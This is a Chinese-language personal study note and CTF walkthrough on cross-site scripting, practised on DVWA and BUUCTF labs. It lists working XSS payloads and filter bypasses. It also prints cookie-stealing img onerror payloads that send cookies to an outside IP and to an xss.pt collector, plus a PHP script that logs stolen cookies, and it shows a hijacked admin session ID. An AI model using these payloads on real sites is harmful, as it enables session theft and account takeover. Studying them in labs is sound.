7.31 XSS学习记录
XSS学习笔记
o跨站脚本(Cross-Site Scripting,简称XSS)
o允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响
我这边输入一个网页
<?php
echo 'please input id.';
echo $_GET['id'];
?>
XSS类型
反射型(非持久型)
特点:一次性
o攻击者可以将恶意的XSS代码包含在URL链接中,然后发送给目标用户
可以看到,这是一个非常简单的Get传参的操作
这里就可以进行XSS注入。
为什么呢?
请看,如果我让id写成一个script标签呢?
可以看到,我们这里使用了一个alert弹窗函数,确实已经注入成功了。
存储型XSS(stored)
练习靶场:dvwa集成了常见的web漏洞测试环境,可自己本地搭建,或使用buuctf上的环境
默认用户名admin,密码password;第一次使用需要初始化数据库
或使用buuctf上的dvwa
o常见的环境是微博、论坛、博客等
可以看到,在这里的留言板当中,我们传入的内容上传到了数据库当中去了,他被永久地保存。其他用户访问页面时,也会同样得到一个弹窗。
hack
第一种就是我们上述的alert弹窗攻击
<script>alert("you are hacked !")</script>
第二种是可以劫持流量实现恶意跳转
<script>window.location.href="https://www.baidu.com";</script>
只要看到了我的这条博客,就会自动跳到baidu的网站,给百度引流。
第三种是窃取cookie
<script>alert(document.cookie)</script>
或使用js将cookie发送到特定的网站
先解释一下Cookie
o用户登录成功后,一般把登录凭证存储在cookie中
o如果你的cookie值被窃取,那么攻击者很可能能够直接利用你的这张令牌不用密码就登录你的账户。
登录之后就可以尝试修改你的密码
可以看到,cookie已经被窃取了
一些绕过的方法
比如过滤了script标签
大小写绕过
<scRipt>
双写绕过
<scri<script>pt>
不使用script
加载svg图片的时候执行
<svg onload=alert(1)>
javascript 伪协议
<iframe src=javascript:alert(1)>
鼠标移到标签就执行脚本
<a onmouseover=alert(document.cookie)>xxs link</a>
给一个链接执行javascript
<a href=javascript:alert(1)>link</a>
图片报错的时候执行js代码
<img src=x onerror=alert(1)></img>
实体编码绕过
<a href=javascript:alert(1)>link</a>
也可以把分号去掉
<a href=javascript:alert(1)>link</a>
十六进制也可以转化成十进制。
内嵌tab
<iframe src=java	script:alert(1)>
o防止javascrpt被过滤掉
其他绕过方式见
ofreebuf中或直接搜索引擎搜索xss
本地平台搭建
比如我们在对方服务器上传了这样的言论
<img src=x onerror="(new Image()).src='http://114.132.200.216/cookie.php?cookie='+escape(document.cookie)"></img>
当admin访问时,会在我们本地服务器出来他的cookie
<?php
$cookie=$_GET['cookie']; //接收cookie的值
$str=fopen('cookie.txt','a+'); //打开资源句柄
fwrite($str,$cookie."\n"); //将cookie值写入文件
fclose($str); //关闭资源句柄
?>
可以看到这里的结果
XSS平台搭建
buu上的靶场不能访问外网,所以用他们内网的XSS http://xss.buuoj.cn/index.php?do=login
原理:管理员浏览时,就会触发js代码,将管理员的cookie发送到xss平台
这里是我自己浏览时泄露的cookie,他这边也有回应的
ctf竞赛XSS解题的形式
值得注意的是,在ctf比赛的时候,管理员是会审核的
不过我们可以获取到admin用户的cookie,再用这个cookie登录后台,就能干很多事
BUU XSS COURSE 1
进去后发现可以提交内容
看到可以回显内容,那么就可以进行XSS注入。
首先我们找到注入点。
这边发现
<iframe src=javascript:alert(1)>
<img src=x onerror=alert(222)></img>
是可以顺利执行js的。
我们在外面一个平台植入代码,projectid改成我们的id
我们再通过XSS平台上的代码,我们套用前面成功绕过的一个姿势上传XSS
<img src=x onerror="(function(){(new Image()).src='https://xss.pt/xss.php?do=api&id=ZYow&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if('{set.keepsession}'==1){keep=new Image();keep.src='https://xss.pt/xss.php?do=keepsession&id=ZYow&url='+escape(document.location)+'&cookie='+escape(document.cookie)}; "></img>
接下来我们就等管理员”上沟“,自动交出他的cookie来就好了。
这边可以看到管理员时从/backend/admin.php过来的,我们在这个网站注入cookie就完事了
我们输入admin的cookie
cookie : PHPSESSID=b424c4d2aaee09e78351e32e4242c45a
得到flag